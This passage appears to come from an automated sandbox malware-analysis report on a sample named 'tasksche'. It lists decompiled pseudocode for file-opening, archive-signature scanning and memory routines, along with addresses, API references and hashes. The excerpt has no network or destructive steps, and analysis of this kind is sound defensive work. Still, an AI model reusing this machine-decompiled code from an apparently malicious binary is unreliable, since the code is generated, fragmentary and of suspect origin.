					_t32 = _t16;
					if(_t32 == 0) {
						_t16 = E004063CE(0x4335ac);
					}
					 *_t34 = _t32;
					 *(_t34 + 8) = _t20;
					return _t16;
				}
				return _t12;
			}

0x00401106
0x0040110b
0x0040110d
0x00401110
0x00401116
0x00401118
0x0040111d
0x00401125
0x00401132
0x0040113c
0x0040113c
0x00401149
0x0040114d
0x00401150
0x00401152
0x00401154
0x00401156
0x00401156
0x00401158
0x00401159
0x0040115b
0x00401160
0x00401166
0x0040116a
0x0040116a
0x0040116f
0x00401173
0x00000000
0x00401176
0x00401178

APIs

_realloc.LIBCMT ref: 0040115B

Part of subcall function 00406423: __vswprintf_c_l.LIBCMT ref: 00406441

Strings

Maximum allowed array size (%u) is exceeded, xrefs: 0040112C

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: __vswprintf_c_l_realloc
String ID: Maximum allowed array size (%u) is exceeded
API String ID: 620378156-979119166
Opcode ID: dce6db5a0bfaf73c63961f3884acddfac192c2d93569977231d8791de2d42667
Instruction ID: b98885df3920ffeceb53ce79d7a953b92e5ea0a83a6506546a83ec3ee512e677
Opcode Fuzzy Hash: dce6db5a0bfaf73c63961f3884acddfac192c2d93569977231d8791de2d42667
Instruction Fuzzy Hash: 8D014F353006056FD728EA25D89193BB3E9EB88764310483FF99B97791EA39BC548718

Uniqueness

Uniqueness Score: -1.00%

Function 00401417 Relevance: 3.3, APIs: 2, Instructions: 264
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00401417(signed int* __ecx, signed int __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t89;
				void* _t92;
				signed int _t96;
				signed int _t97;
				signed int _t98;
				signed int _t105;
				signed int _t106;
				signed int _t107;
				signed int _t115;
				signed int _t118;
				char* _t129;
				signed int _t130;
				signed int _t131;
				signed int _t133;
				char* _t138;
				void* _t139;
				signed int _t144;
				signed int _t145;
				void* _t175;
				signed int _t176;
				signed int* _t178;
				signed int _t179;
				signed int* _t181;
				void* _t185;

				_t172 = __edx;
				E0041A4DC(E004294F4, _t185);
				_t181 = __ecx;
				_push(7);
				_t174 = __ecx + 0x6560;
				_push(__ecx + 0x6560);
				 *((char*)(__ecx + 0xb05c)) = 0;
				 *((char*)(__ecx + 0xb064)) = 0;
				if( *((intOrPtr*)( *((intOrPtr*)(__ecx)) + 8))() == 7) {
					 *((intOrPtr*)(__ecx + 0xb060)) = 0;
					_t89 = E0040106A(_t174, 7);
					__eflags = _t89;
					if(_t89 == 0) {
						E00406760(_t185 - 0x1c, 0x100000);
						 *(_t185 - 4) = 0;
						_t92 =  *((intOrPtr*)( *_t181 + 0x10))();
						_t175 = _t92;
						_t144 =  *((intOrPtr*)( *_t181 + 8))( *(_t185 - 0x1c),  *((intOrPtr*)(_t185 - 0x18)) + 0xfffffff0);
						_t172 = 0;
						__eflags = _t144;
						if(_t144 <= 0) {
							L21:
							__eflags = _t181[0x2c18];
							if(_t181[0x2c18] != 0) {
								 *(_t185 - 4) =  *(_t185 - 4) | 0xffffffff;
								__eflags =  *(_t185 - 0x1c);
								if(__eflags != 0) {
									_push( *(_t185 - 0x1c));
									E0041A506(_t144, _t175, _t181, __eflags); // executed
								}
								goto L26;
							}
							__eflags =  *(_t185 - 0x1c);
							if(__eflags != 0) {
								_push( *(_t185 - 0x1c));
								E0041A506(_t144, _t175, _t181, __eflags);
							}
							goto L41;
						} else {
							goto L6;
						}
						do {
							L6:
							_t129 =  *(_t185 - 0x1c) + _t172;
							__eflags =  *_t129 - 0x52;
							if( *_t129 != 0x52) {
								goto L16;
							}
							_t130 = E0040106A(_t129, _t144 - _t172);
							__eflags = _t130;
							if(_t130 == 0) {
								goto L16;
							}
							_t181[0x2c14] = _t130;
							__eflags = _t130 - 1;
							if(_t130 != 1) {
								L18:
								_t131 = _t172 + _t175;
								_t172 =  *_t181;
								_t181[0x2c18] = _t131;
								 *((intOrPtr*)( *_t181 + 0xc))(_t131, 0, 0);
								_t133 = _t181[0x2c14];
								__eflags = _t133 - 2;
								if(_t133 == 2) {
									L20:
									_t172 =  *_t181;
									 *((intOrPtr*)( *_t181 + 8))( &(_t181[0x1958]), 7);
									goto L21;
								}
								__eflags = _t133 - 3;
								if(_t133 != 3) {
									goto L21;
								}
								goto L20;
							}
							__eflags = _t172;
							if(_t172 <= 0) {
								goto L18;
							}
							__eflags = _t175 - 0x1c;
							if(_t175 >= 0x1c) {
								goto L18;
							}
							__eflags = _t144 - 0x1f;
							if(_t144 <= 0x1f) {
								goto L18;
							}
							_t138 =  *(_t185 - 0x1c) - _t175 + 0x1c;
							__eflags =  *_t138 - 0x52;
							if( *_t138 != 0x52) {
								goto L16;
							}
							__eflags =  *((char*)(_t138 + 1)) - 0x53;
							if( *((char*)(_t138 + 1)) != 0x53) {
								goto L16;
							}
							__eflags =  *((char*)(_t138 + 2)) - 0x46;
							if( *((char*)(_t138 + 2)) != 0x46) {
								goto L16;
							}
							__eflags =  *((char*)(_t138 + 3)) - 0x58;
							if( *((char*)(_t138 + 3)) == 0x58) {
								goto L18;
							}
							L16:
							_t172 = _t172 + 1;
							__eflags = _t172 - _t144;
						} while (_t172 < _t144);
						goto L21;
					} else {
						_t181[0x2c14] = _t89;
						__eflags = _t89 - 1;
						if(_t89 == 1) {
							_t179 =  *_t181;
							_t139 =  *((intOrPtr*)(_t179 + 0x10))(0);
							asm("sbb edx, ebx");
							 *((intOrPtr*)(_t179 + 0xc))(_t139 - 7, __edx);
						}
						L26:
						_t96 = _t181[0x2c14];
						__eflags = _t96 - 4;
						if(_t96 != 4) {
							__eflags = _t96 - 3;
							if(_t96 != 3) {
								_t181[0x195a] = 7;
								while(1) {
									L36:
									_t97 = E0040369F(_t172, _t185);
									__eflags = _t97;
									if(_t97 == 0) {
										break;
									}
									_t98 = _t181[0x1951];
									__eflags = _t98 - 1;
									if(_t98 == 1) {
										break;
									}
									__eflags = _t181[0x1952];
									if(_t181[0x1952] == 0) {
										L35:
										E004010C0(_t181);
										continue;
									}
									__eflags = _t98 - 4;
									if(_t98 == 4) {
										break;
									}
									goto L35;
								}
								__eflags = _t181[0x2c19];
								if(_t181[0x2c19] == 0) {
									L39:
									E004010C0(_t181);
									__eflags = _t181[0x2c19];
									if(_t181[0x2c19] == 0) {
										L42:
										__eflags = _t181[0x1952];
										_t181[0x2c15] = _t181[0x1963];
										if(_t181[0x1952] == 0) {
											L44:
											E0040117B(_t185 - 0x2c, _t172, _t181);
											_t176 = _t181[0x2c10];
											_t145 = _t181[0x2c11];
											 *(_t185 - 0x14) = _t181[0x2c12];
											 *(_t185 - 0x10) = _t181[0x2c13];
											 *(_t185 - 4) = 1;
											 *(_t185 + 8) = _t181[0x1951];
											while(1) {
												_t105 = E0040369F(_t172, _t185);
												__eflags = _t105;
												if(_t105 == 0) {
													break;
												}
												_t106 = _t181[0x1951];
												__eflags = _t106 - 3;
												if(_t106 != 3) {
													__eflags = _t106 - 2;
													if(_t106 == 2) {
														__eflags = _t181[0x2c15];
														if(_t181[0x2c15] == 0) {
															L59:
															_t107 = 0;
															__eflags = 0;
															L60:
															_t181[0x2c16] = _t107;
															L61:
															_t69 = _t185 - 4;
															 *_t69 =  *(_t185 - 4) | 0xffffffff;
															__eflags =  *_t69;
															_t181[0x2c12] =  *(_t185 - 0x14);
															_t181[0x2c13] =  *(_t185 - 0x10);
															_t181[0x2c10] = _t176;
															_t181[0x2c11] = _t145;
															_t181[0x1951] =  *(_t185 + 8);
															 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t185 - 0x2c)))) + 0xc))( *((intOrPtr*)(_t185 - 0x24)),  *((intOrPtr*)(_t185 - 0x20)), 0);
															L62:
															__eflags = _t181[0x2c15];
															if(_t181[0x2c15] == 0) {
																L64:
																__eflags =  &(_t181[0x2c26]);
																E0041A7F7( &(_t181[0x2c26]),  &(_t181[7]));
																L65:
																_t115 = 1;
																L66:
																goto L67;
															}
															__eflags = _t181[0x2c16];
															if(_t181[0x2c16] == 0) {
																goto L65;
															}
															goto L64;
														}
														__eflags = _t181[0x1d9c];
														if(_t181[0x1d9c] != 0) {
															goto L59;
														}
														_t107 = 1;
														goto L60;
													}
													__eflags = _t106 - 5;
													if(_t106 == 5) {
														goto L61;
													}
													L53:
													E004010C0(_t181);
													continue;
												}
												__eflags = _t181[0x2c15];
												if(_t181[0x2c15] == 0) {
													L49:
													_t118 = 0;
													__eflags = 0;
													L50:
													_t181[0x2c16] = _t118;
													goto L53;
												}
												__eflags = _t181[0x266c];
												if(_t181[0x266c] != 0) {
													goto L49;
												}
												_t118 = 1;
												goto L50;
											}
											goto L61;
										}
										__eflags = _t181[0x2c17];
										if(_t181[0x2c17] != 0) {
											goto L62;
										}
										goto L44;
									}
									E00406376(0x19,  &(_t181[7]));
									__eflags =  *(_t185 + 8);
									if( *(_t185 + 8) != 0) {
										goto L42;
									}
									L41:
									_t115 = 0;
									goto L66;
								}
								__eflags =  *(_t185 + 8);
								if( *(_t185 + 8) == 0) {
									goto L41;
								}
								goto L39;
							}
							_t178 =  &(_t181[0x1959]);
							 *((intOrPtr*)( *_t181 + 8))(_t178, 1);
							__eflags =  *_t178;
							if( *_t178 != 0) {
								goto L41;
							}
							_t181[0x195a] = 8;
							goto L36;
						}
						E00406376(0x3b,  &(_t181[7]));
						goto L41;
					}
				} else {
					_t115 = 0;
					L67:
					 *[fs:0x0] =  *((intOrPtr*)(_t185 - 0xc));
					return _t115;
				}
			}

0x00401417
0x0040141c
0x00401425
0x0040142a
0x0040142c
0x00401432
0x00401433
0x0040143a
0x00401447
0x00401456
0x0040145c
0x00401461
0x00401463
0x00401495
0x0040149e
0x004014a1
0x004014ae
0x004014b7
0x004014b9
0x004014bb
0x004014bd
0x00401550
0x00401552
0x00401558
0x00401571
0x00401575
0x00401578
0x0040157a
0x0040157d
0x00401582
0x00000000
0x00401578
0x0040155a
0x0040155d
0x00401563
0x00401566
0x0040156b
0x00000000
0x00000000
0x00000000
0x00000000
0x004014c3
0x004014c3
0x004014c6
0x004014c8
0x004014cb
0x00000000
0x00000000
0x004014d3
0x004014d8
0x004014da
0x00000000
0x00000000
0x004014dc
0x004014e2
0x004014e5
0x0040151b
0x0040151d
0x00401520
0x00401527
0x0040152d
0x00401530
0x00401536
0x00401539
0x00401540
0x00401540
0x0040154d
0x00000000
0x0040154d
0x0040153b
0x0040153e
0x00000000
0x00000000
0x00000000
0x0040153e
0x004014e7
0x004014e9
0x00000000
0x00000000
0x004014eb
0x004014ee
0x00000000
0x00000000
0x004014f0
0x004014f3
0x00000000
0x00000000
0x004014fa
0x004014fd
0x00401500
0x00000000
0x00000000
0x00401502
0x00401506
0x00000000
0x00000000
0x00401508
0x0040150c
0x00000000
0x00000000
0x0040150e
0x00401512
0x00000000
0x00000000
0x00401514
0x00401514
0x00401515
0x00401515
0x00000000
0x00401465
0x00401465
0x0040146b
0x0040146e
0x00401474
0x00401479
0x0040147f
0x00401485
0x00401485
0x00401583
0x00401583
0x00401589
0x0040158c
0x0040159e
0x004015a1
0x004015c4
0x004015f0
0x004015f0
0x004015f2
0x004015f7
0x004015f9
0x00000000
0x00000000
0x004015d0
0x004015d6
0x004015d9
0x00000000
0x00000000
0x004015db
0x004015e2
0x004015e9
0x004015eb
0x00000000
0x004015eb
0x004015e4
0x004015e7
0x00000000
0x00000000
0x00000000
0x004015e7
0x004015fb
0x00401602
0x0040160a
0x0040160c
0x00401611
0x00401618
0x00401632
0x00401632
0x0040163f
0x00401645
0x00401654
0x00401658
0x00401663
0x00401669
0x0040166f
0x00401678
0x00401681
0x00401688
0x004016ca
0x004016cc
0x004016d1
0x004016d3
0x00000000
0x00000000
0x0040168d
0x00401693
0x00401696
0x004016b9
0x004016bc
0x004016d7
0x004016de
0x004016ee
0x004016ee
0x004016ee
0x004016f0
0x004016f0
0x004016f6
0x004016fc
0x004016fc
0x004016fc
0x00401700
0x0040170e
0x0040171a
0x00401720
0x00401726
0x0040172e
0x00401731
0x00401731
0x00401738
0x00401743
0x00401747
0x0040174e
0x00401755
0x00401755
0x00401757
0x00000000
0x00401757
0x0040173a
0x00401741
0x00000000
0x00000000
0x00000000
0x00401741
0x004016e0
0x004016e7
0x00000000
0x00000000
0x004016eb
0x00000000
0x004016eb
0x004016be
0x004016c1
0x00000000
0x00000000
0x004016c3
0x004016c5
0x00000000
0x004016c5
0x00401698
0x0040169f
0x004016af
0x004016af
0x004016af
0x004016b1
0x004016b1
0x00000000
0x004016b1
0x004016a1
0x004016a8
0x00000000
0x00000000
0x004016ac
0x00000000
0x004016ac
0x00000000
0x004016d5
0x00401647
0x0040164e
0x00000000
0x00000000
0x00000000
0x0040164e
0x00401620
0x00401625
0x00401629
0x00000000
0x00000000
0x0040162b
0x0040162b
0x00000000
0x0040162b
0x00401604
0x00401608
0x00000000
0x00000000
0x00000000
0x00401608
0x004015a7
0x004015b0
0x004015b3
0x004015b6
0x00000000
0x00000000
0x004015b8
0x00000000
0x004015b8
0x00401594
0x00000000
0x00401594
0x00401449
0x00401449
0x00401758
0x0040175d
0x00401765
0x00401765

APIs

__EH_prolog.LIBCMT ref: 0040141C

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: af860968fb5a352ec115184650dafa7935731a9a847d0e8dc47d2517750fbf99
Instruction ID: 1df30631c7f2331ab9bb659be56b51083ca38efb3ea41a431c6c341c2f7f2518
Opcode Fuzzy Hash: af860968fb5a352ec115184650dafa7935731a9a847d0e8dc47d2517750fbf99
Instruction Fuzzy Hash: D7A1A370904B44AFDB31DB38C8447ABB7E5AB45304F14482FE4A7A72E1D779A881CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00408923 Relevance: 3.1, APIs: 2, Instructions: 86
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408923(void* __ecx, WCHAR* _a4, long _a8) {
				long _v8;
				short _v4104;
				signed char _t38;
				signed int _t42;
				void* _t51;
				signed char _t54;
				char _t60;
				void* _t64;

				E0041AAF0(0x1004);
				_t64 = __ecx;
				_t54 = _a8;
				_t38 = _t54 >> 0x00000001 & 0x00000001;
				if((_t54 & 0x00000010) != 0 ||  *((intOrPtr*)(__ecx + 0x1c)) != 0) {
					_t60 = 1;
				} else {
					_t60 = 0;
				}
				 *(_t64 + 0x18) = _t54;
				_v8 = ((0 | _t38 == 0x00000000) - 0x00000001 & 0x80000000) + 0xc0000000;
				_a8 = 0 | _t60 != 0x00000000;
				_t42 =  *(E0040A08A(_t60, _a4)) & 0x0000ffff;
				if(_t42 == 0x2e || _t42 == 0x20) {
					 *(_t64 + 4) =  *(_t64 + 4) | 0xffffffff;
				} else {
					_t51 = CreateFileW(_a4, _v8, _a8, 0, 2, 0, 0); // executed
					 *(_t64 + 4) = _t51;
				}
				if( *(_t64 + 4) == 0xffffffff && E0040A3DC(_a4,  &_v4104, 0x800) != 0) {
					 *(_t64 + 4) = CreateFileW( &_v4104, _v8, _a8, 0, 2, 0, 0);
				}
				 *((char*)(_t64 + 0x12)) = 1;
				 *((intOrPtr*)(_t64 + 0xc)) = 0;
				 *((char*)(_t64 + 0x10)) = 0;
				E00410B9C(_t64 + 0x1e, _a4, 0x800);
				return 0 |  *(_t64 + 4) != 0xffffffff;
			}

0x0040892b
0x00408932
0x00408934
0x0040893b
0x00408943
0x0040894e
0x0040894a
0x0040894a
0x0040894a
0x00408953
0x00408971
0x00408974
0x0040897c
0x00408989
0x00408991
0x00408997
0x004089a5
0x004089a7
0x004089a7
0x004089ae
0x004089dc
0x004089dc
0x004089eb
0x004089ef
0x004089f2
0x004089f5
0x00408a07

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000002,00000000,00000000,?,?,?,-00000011,?,00408777,?,-00000011,?), ref: 004089A5
CreateFileW.KERNEL32(?,000000FF,?,00000000,00000002,00000000,00000000,?,?,00000800,?,?,?,-00000011,?,00408777), ref: 004089DA

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a074d9b34406725a99dd7798f6dc6781e4ed09d04832e0e73d262d8c08033346
Instruction ID: 01d84b190ee352a3a297c1effa4f932d2cea621e1ee0f9c6dc0f58f94aa457de
Opcode Fuzzy Hash: a074d9b34406725a99dd7798f6dc6781e4ed09d04832e0e73d262d8c08033346
Instruction Fuzzy Hash: F621E6B1000709AFDB20AF28CD41AEA7BA9EB04324F00853EF5D5972D1CA799D859B59

Uniqueness

Uniqueness Score: -1.00%

Function 004012EA Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E004012EA(void* __ecx, void* __edi) {
				void* __ebx;
				void* __esi;
				void* _t30;
				void* _t37;
				void* _t55;
				unsigned int _t57;
				void* _t58;
				signed int _t59;
				intOrPtr* _t62;
				void* _t64;

				E0041A4DC(E004294DA, _t64);
				_t44 = __ecx;
				 *(_t64 - 0x1c) = 0;
				 *(_t64 - 0x18) = 0;
				 *((intOrPtr*)(_t64 - 0x14)) = 0;
				 *((intOrPtr*)(_t64 - 0x10)) = 0;
				_push(0);
				_push(_t64 - 0x1c);
				 *((intOrPtr*)(_t64 - 4)) = 0;
				_t30 = E00402C8B(__ecx, _t55); // executed
				if(_t30 != 0) {
					_push(__edi);
					_t57 =  *(_t64 - 0x18);
					E004012B5(_t64 - 0x1c, 0);
					_t62 =  *((intOrPtr*)(_t64 + 8));
					_t48 = _t62;
					E004012D0(_t62, _t57 + 1);
					__eflags =  *((intOrPtr*)(__ecx + 0xb050)) - 3;
					if( *((intOrPtr*)(__ecx + 0xb050)) != 3) {
						__eflags =  *(__ecx + 0x8944) & 0x00000001;
						if(( *(__ecx + 0x8944) & 0x00000001) == 0) {
							E00411B3C( *(_t64 - 0x1c),  *_t62,  *((intOrPtr*)(_t62 + 4)));
						} else {
							_t59 = _t57 >> 1;
							E00411BA7( *(_t64 - 0x1c),  *_t62, _t59);
							 *((short*)( *_t62 + _t59 * 2)) = 0;
						}
					} else {
						E00411CD1(_t48,  *(_t64 - 0x1c),  *_t62,  *((intOrPtr*)(_t62 + 4)));
					}
					E004012D0(_t62, E0041A7AF( *_t62));
					__eflags =  *(_t64 - 0x1c);
					_pop(_t58);
					if(__eflags != 0) {
						_push( *(_t64 - 0x1c));
						E0041A506(_t44, _t58, _t62, __eflags);
					}
					_t37 = 1;
				} else {
					_t70 =  *(_t64 - 0x1c);
					if( *(_t64 - 0x1c) != 0) {
						_push( *(_t64 - 0x1c));
						E0041A506(__ecx, __edi, 0, _t70);
					}
					_t37 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t64 - 0xc));
				return _t37;
			}

0x004012ef
0x004012fb
0x004012fd
0x00401300
0x00401303
0x00401306
0x00401309
0x0040130d
0x0040130e
0x00401311
0x00401318
0x0040132f
0x00401330
0x00401337
0x0040133c
0x00401343
0x00401345
0x0040134a
0x00401351
0x00401362
0x00401369
0x0040138a
0x0040136b
0x0040136b
0x00401373
0x0040137c
0x0040137c
0x00401353
0x0040135b
0x0040135b
0x0040139a
0x0040139f
0x004013a3
0x004013a4
0x004013a6
0x004013a9
0x004013ae
0x004013af
0x0040131a
0x0040131a
0x0040131d
0x0040131f
0x00401322
0x00401327
0x00401328
0x00401328
0x004013b6
0x004013be

APIs

__EH_prolog.LIBCMT ref: 004012EF

Part of subcall function 00402C8B: __EH_prolog.LIBCMT ref: 00402C90

_wcslen.LIBCMT ref: 00401391

Part of subcall function 0041A506: __lock.LIBCMT ref: 0041A524
Part of subcall function 0041A506: ___sbh_find_block.LIBCMT ref: 0041A52F
Part of subcall function 0041A506: ___sbh_free_block.LIBCMT ref: 0041A53E
Part of subcall function 0041A506: RtlFreeHeap.NTDLL(00000000,00000000,0042D658,0000000C,0041EF84,00000000,0042D930,0000000C,0041EFBE,00000000,0041A9AB,?,00425448,00000004,0042DB18,0000000C), ref: 0041A56E
Part of subcall function 0041A506: GetLastError.KERNEL32(?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001,00000214), ref: 0041A57F

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog$ErrorFreeHeapLast___sbh_find_block___sbh_free_block__lock_wcslen
String ID:
API String ID: 2367413355-0
Opcode ID: 2919600df76e4d66bc5d6f82fae5af35264ca928e1590e53ce8e638c26dbddb5
Instruction ID: 0a298500d8bcfa7ff7c3c7c798daa7998fe1fc2396f24876ea38c2992963b511
Opcode Fuzzy Hash: 2919600df76e4d66bc5d6f82fae5af35264ca928e1590e53ce8e638c26dbddb5
Instruction Fuzzy Hash: 43218131C04219AADF11AF95D8019EFBBBAEF44704F10402FF815B26B1D7791951DB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E75F Relevance: 3.1, APIs: 2, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040E75F(void* __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t33;
				void* _t34;
				intOrPtr _t36;
				intOrPtr _t38;
				intOrPtr _t55;
				void* _t57;
				void* _t59;
				intOrPtr _t61;
				void* _t64;

				_t64 = __eflags;
				_t54 = __edx;
				E0041A4DC(E004297B1, _t59);
				_push(__ecx);
				E0041AAF0(0xc0b0);
				_push(_t57);
				_push(_t55);
				 *((intOrPtr*)(_t59 - 0x10)) = _t61;
				 *((intOrPtr*)(_t59 - 4)) = 0;
				E00401822(_t59 - 0xc0c0, __edx, _t55, _t64, 0); // executed
				 *((char*)(_t59 - 4)) = 1;
				E00401A1A(_t59 - 0xc0c0, __edx, _t59, _t64,  *((intOrPtr*)(_t59 + 0xc)));
				 *((intOrPtr*)(_t59 - 0x20)) = 0;
				 *((intOrPtr*)(_t59 - 0x1c)) = 0;
				 *((intOrPtr*)(_t59 - 0x18)) = 0;
				 *((intOrPtr*)(_t59 - 0x14)) = 0;
				 *((char*)(_t59 - 4)) = 2;
				_t33 = E00401768(_t59 - 0xc0c0, _t54, _t59 - 0x20); // executed
				if(_t33 != 0) {
					_t36 =  *((intOrPtr*)(_t59 - 0x1c));
					_t57 = _t36 + _t36;
					_t55 = _t36;
					_t38 = E0041CF3E(0, _t54, _t55, _t57 + 2);
					 *((intOrPtr*)( *((intOrPtr*)(_t59 + 0x10)))) = _t38;
					if(_t38 != 0) {
						__eflags = 0;
						 *((short*)(_t57 + _t38)) = 0;
						E0041C290(0, _t55, _t57, _t38,  *((intOrPtr*)(_t59 - 0x20)), _t57);
					} else {
						_t55 = 0;
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t59 + 0x14)))) = _t55;
				}
				_t67 =  *((intOrPtr*)(_t59 - 0x20));
				if( *((intOrPtr*)(_t59 - 0x20)) != 0) {
					_push( *((intOrPtr*)(_t59 - 0x20)));
					E0041A506(0, _t55, _t57, _t67);
				}
				 *((char*)(_t59 - 4)) = 0;
				_t34 = E00401228(_t59 - 0xc0c0, _t55);
				 *[fs:0x0] =  *((intOrPtr*)(_t59 - 0xc));
				return _t34;
			}

0x0040e75f
0x0040e75f
0x0040e764
0x0040e769
0x0040e76f
0x0040e775
0x0040e776
0x0040e779
0x0040e783
0x0040e786
0x0040e794
0x0040e798
0x0040e79d
0x0040e7a0
0x0040e7a3
0x0040e7a6
0x0040e7b3
0x0040e7b7
0x0040e7be
0x0040e7c0
0x0040e7c3
0x0040e7c6
0x0040e7cc
0x0040e7d5
0x0040e7d9
0x0040e7df
0x0040e7e2
0x0040e7ea
0x0040e7db
0x0040e7db
0x0040e7db
0x0040e7f5
0x0040e7f5
0x0040e7f7
0x0040e7fa
0x0040e7fc
0x0040e7ff
0x0040e804
0x0040e80b
0x0040e80e
0x0040e818
0x0040e821

APIs

__EH_prolog.LIBCMT ref: 0040E764

Part of subcall function 00401822: __EH_prolog.LIBCMT ref: 00401827
Part of subcall function 00401822: _memset.LIBCMT ref: 0040196A
Part of subcall function 00401822: _memset.LIBCMT ref: 00401979
Part of subcall function 00401822: _memset.LIBCMT ref: 00401988

Part of subcall function 00401768: __EH_prolog.LIBCMT ref: 0040176D

_malloc.LIBCMT ref: 0040E7CC

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_memset$AllocateHeap_malloc
String ID:
API String ID: 47157355-0
Opcode ID: 76dc919e38105a2a0c7a25f94b1f982589f1f165098df706c37864f55c56c04a
Instruction ID: 028989472a53044f7525bc0779393b56fb6d8ddec0b6eee1d5d0b7402cf9aefd
Opcode Fuzzy Hash: 76dc919e38105a2a0c7a25f94b1f982589f1f165098df706c37864f55c56c04a
Instruction Fuzzy Hash: 09217F72800259EFCF15EFA5D8819EEB7B4BF08308F10456FE006B3291E7385A44DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00408BAE Relevance: 3.1, APIs: 2, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00408BAE(void* __ecx, signed int __edx) {
				long _v8;
				long _t10;
				signed int _t13;
				signed int _t26;
				long _t29;
				void* _t32;

				_push(__ecx);
				_t32 = __ecx;
				_t26 = __edx | 0xffffffff;
				if( *((intOrPtr*)(__ecx + 4)) != _t26) {
					L3:
					_v8 = 0;
					_t10 = SetFilePointer( *(_t32 + 4), 0,  &_v8, 1); // executed
					_t29 = _t10;
					if(_t29 != 0xffffffff || GetLastError() == 0) {
						L7:
						asm("cdq");
						_t13 = E0041ABD0(_v8, _t26, 0, 1) + _t29;
